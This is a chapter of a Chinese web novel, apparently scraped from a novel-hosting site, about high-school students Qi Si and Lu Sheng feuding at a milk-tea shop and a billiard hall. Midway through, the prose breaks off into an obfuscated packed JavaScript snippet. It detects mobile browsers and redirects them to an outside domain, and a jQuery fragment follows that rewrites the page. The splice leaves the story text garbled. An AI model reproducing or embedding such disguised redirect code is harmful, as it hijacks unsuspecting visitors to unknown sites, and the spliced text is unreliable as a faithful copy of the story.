齐思翻出来看。
纸条上写着一句话:“思思,怎样才算跟你熟?”
不知怎的,看见这句话,她耳边响起路声的声音。
好像他俯身凑到她耳边,伴随潮湿热风低语。
全身起鸡皮疙瘩,齐思拿出黑色记号笔,全部划掉,丢进脚边垃圾桶。
和路声成为熟人?她没疯。
“思思,帮我看看这道题错哪里了?”同桌关思影出声道。
“好,给我看看。”齐思检查关思影的草稿本,上面写满了答题过程,她用铅笔画了两个圈,“思路没问题,你抄错了x值?”
说罢,她有些迟疑,关思影的数学成绩比她好,不会看不出过程中的明显错误。
“谢谢思思。”关思影靠近齐思,在她耳边低声说,“你今天是不是又把笔记借给班长了?”
齐思点头,班长经常找她借笔记,她习以为常了。
关思影确认班长不在教室,低声道:“我看见班长把你的笔记本,拿给一个高二八班的男生,两个人鬼鬼祟祟,看起来很奇怪。你别告诉班长,这事是我说的。”
齐思道:“谢了,明天给你带早饭。”
班长跟她关系一直还不错,有小道消息,她总第一时间告诉班长,比如竞赛名额,活动报名。班长投桃报李,也常常帮她向老师们解释去向。
时间过得很快,最后一堂课结束。
各课课代表上讲台布置今晚家庭作业。
等齐思收拾好书包,段童已经站在教室门口等着了,她手中捧着一本单词书,嘴里念念有词。
“走了。”齐思拿起雨伞,挽着段童往楼下走,提醒她注意台阶,“当心踩空。”
雨停了,天色依旧阴沉。
远处的高楼大厦被阴云遮掩,闪烁的霓虹灯显得暗淡无色、灰扑扑,毫无大都市应该有的五光十色。
“江主任有晚自习,让我们俩自行解决晚饭,我跟舒阳文讲好了,放学一起吃韩餐,他家司机送我们俩回家。”段童完成今日单词背诵任务,合上单词书。
她张望着奶茶店外的人群,始终没有见到舒阳文的身影。
“好啊,想吃哪家?”齐思点开袋鼠平台,搜索附近的韩餐,“我想吃年糕。”
久不见人来,段童拨打舒阳文电话,但那头始终无人应答。
“舒阳文说他预订好了,放学带我们去,他怎么还不出来?”
齐思低头看手机屏幕上的时间,六点整,也纳闷道:“对啊,美术班比我们放学早,他早该下课了。”
奶茶店门被人推开,伴随门口风铃响起。
一位身材颀长的黑衣少年走进来,骨节分明的手指夹起一张奶茶菜单,直奔齐思对过的座位。
齐思眼眸微敛,猜到路声的来意:“舒阳文人呢?”
路声单手旋转菜单,推到齐思面前,狐狸般上挑的笑眼漫不经心:“你先推荐奶茶,我再告诉你。”
齐思随手指了一个奶茶:“抹茶椰子水,他人在哪?”
路声瞧出她的敷衍,手指交叉,手肘撑在桌上:“我要和你一样的奶茶,你买单。”
“行。”齐思没有犹豫,立即下单。
“0818好了。”前台店员喊了一声,正直出餐高峰期,堂食都是学生自己端走。
路声坐着没动,看着齐思:“帮我把奶茶端过来。”
齐思无语道:“路声,你没有长手长脚吗?”
“无所谓,着急的不是我。”路声摊开手,嘴角带着玩世不恭的笑意。
段童不满道:“舒阳文不是傻子,没那么容易上他当。”
齐思嘱咐段童道:“童童,去外面等我,我很快出来。”
路声是个老狐狸,而童童心思单纯,容易被他套话。
“好。”段童拎起两人书包往外走,给两人留下独处空间。
齐思放下茶杯,撕掉一半吸管包装纸,问道:“人在哪?”
路声道:“看见纸条了吗?”
齐思道:“没看,我以为是垃圾,扔了。”
路声略带遗憾声音道:“好吧,那我说给你听。”
“不想听。”
“你听我说完,我会告诉你舒阳文在哪里。”
齐思注视着他的眼睛,黑色眼眸深邃、暗藏汹涌,夹着一丝丝希冀。
“你说吧。”
路声道:“思思,怎样才算跟你熟?”
齐思不解道:“你为什么一定要跟我熟?我们俩从前没有交集,以后也不会有。”
路声坦然道:“我想和你一起上学、放学,你会给我带早餐、撑伞,像担心舒阳文、段童一样,担心我。”
齐思道:“你之前用我的生命威胁我,现在又用我的朋友威胁我,这样的你,我为什么要答应呢?”
“你是聪明人。”路声打开手机,开始播放一则营销号的视频。
行为不言而喻,他清楚那是齐思的报复。
他说:“我们被记严重警告,停课一个月。事实如你预期的结果,你不开心吗?”
齐思捏住带有半截纸的吸管搅动奶茶里的小料:“所以呢?”
路声目光灼灼道:“你是聪明人。”
“有没有人告诉过你,你非常傲慢。”
话音落下,齐思手中奶茶朝路声泼去。
吸管丢进垃圾桶里,她再从钱包里取出两张红色钞票撂在桌上,模仿他傲慢的腔调:“干洗费,不够,我再加。”
没管路声后续的脸色,齐思推门走出奶茶店,撞见路声两个跟班正议论她的举动。
“靠,牛逼。”
齐思拉着段童往南中方向走,路声行为过分,但面对严峻,他仍遵守法律,用事实证据让严峻得到应有的制裁。
那就说明即便他查到营销号视频,却不会做出绑架舒阳文的事情,违反法律底线的事情。
但她这辈子,最痛恨有人拿朋友威胁她。
路声用手帕擦干脸上、衣服上的茶汤,丝毫不觉得在众目睽睽之下被齐思泼奶茶是一件丢人的事情。
相反,他笑着收起两张红色钞票,放进贴身的黑色钱夹里。
在德育处,思思话里话外提醒严峻找医生验伤。
等事情处理完,他看到视频和热搜,直觉告诉他,那是思思的手笔。
不动声色地达到目的,没有留下任何把柄,全身而退。
像辛乐收到的证据,外卖小哥送来的匿名信封。
妙,实在是妙。
他们明明是同类人,思思为什么不肯承认?
路声问走进来的两人:“傅则带舒阳文去哪里了?”
“我们看着舒阳文和傅则一起进台球厅,他们的脸色很难看,比齐思刚刚的脸色还难看。”答话的是千瑞,路声贴身管家的儿子。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448011|185180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“没看出来,老师身边的乖宝宝,竟然敢泼你奶茶。”仍在震惊之中的人是关涛,路声表弟。
路声端起齐思剩下的奶茶,抿了一口道:“她喜欢全糖的奶茶。”
两人微微一怔,关涛揉了揉眼睛,没看错吧,路大少爷喝人剩下的奶茶?
关涛纳闷:“声哥,你喜欢齐思?”
路声摇头否认;“喜欢?不。”
关涛道:“她泼你奶茶,你居然不生气?”
路声微笑:“她很有趣。”
两个人听不懂,关涛发出纳闷的声音:“哈?”
路声委婉地提醒道:“辛乐病房收到的‘外卖’,A省新闻头条。”
千瑞不可思议道:“怎么可能?”
关涛更不信:“她成天带着个黑框眼镜,看起来像个书呆子,还能有本事把我们耍得团团转?”
路声放下奶茶杯:“关涛,她比你聪明。等重新回学校上课,我会转班,你的成绩,自己看着办。”
他垂眸看着手机屏幕,绿色小点在地图上缓缓移动,最后在一处名为铁杆台球厅停下。
台球厅内,南中的学生占了大堂半边沙发,全神贯注地看两个少年的对决。
五官凌冽,左眉毛有道疤,留着寸头,左手背上有蝎子甩尾纹身的学生,是他们南城中学的校霸,傅则。
对面,顶着一头慵懒羊毛卷、几簇骚包的挑染金发,出杆迅捷的男学生是成才高中的舒阳文。
“舒阳文。”
舒阳文听出来人声音,头也不抬道:“最后一局,打完就走。”
众人朝门口望去,两个成中的女学生并肩走进来。
高个女生皮肤白皙,梳高马尾,带黑框眼镜,鹅蛋脸,像绝大数文学作品中描述的温柔学姐。
娇小一些的女生则梳着两个麻花辫,刘海用两个夹子别在额角,眼睛像黑葡萄一样大,娃娃脸,可爱又乖巧。
两人站在离台球桌三米远的位置停下,脸色似乎不大好看。
“思思,童童。”傅则率先朝两人打招呼。
齐思冷淡道:“我们不熟。”
段童更是将不爽的表情明晃晃地写在脸上。
舒阳文一杆清台,冷声道:“遵循赌约,以后见到我们仨,绕道走。”
傅则笑容僵硬,说话没有底气:“事情已经过去很久了。”他伸手搭在舒阳文肩膀上,“你们不想知道。”
话说一半,舒阳文钳住他手腕,反手一个过肩摔,膝盖抵在他心口:“傅则,那件事,一辈子都不过去!”
“跟他有什么好说的,我们该走了。”段童捡起舒阳文的书包,伸手拉舒阳文起身。
傅则努力挤出微笑,舌尖苦涩道:“你们要小心路声。”
齐思在前台结台费,收起手机,略带嘲讽的口气:“老好人,我们的事情不用你操心。”
三人大步流星地出门。
有的人没看懂怎么回事,一个劲问他们是谁?怎么有胆子冲傅哥甩脸色。
有部分人从前认识三人,见证过他们最要好的时光,默契地没有提起当年的事情。
“傅哥,我来跟你打台球。”
傅则翻身一拳砸在地毯上:“不打了。”
他们有报复他的理由,他有需要守护的人。
老死不相往来,是最好的解题方式。
希望以后,他们不再见面。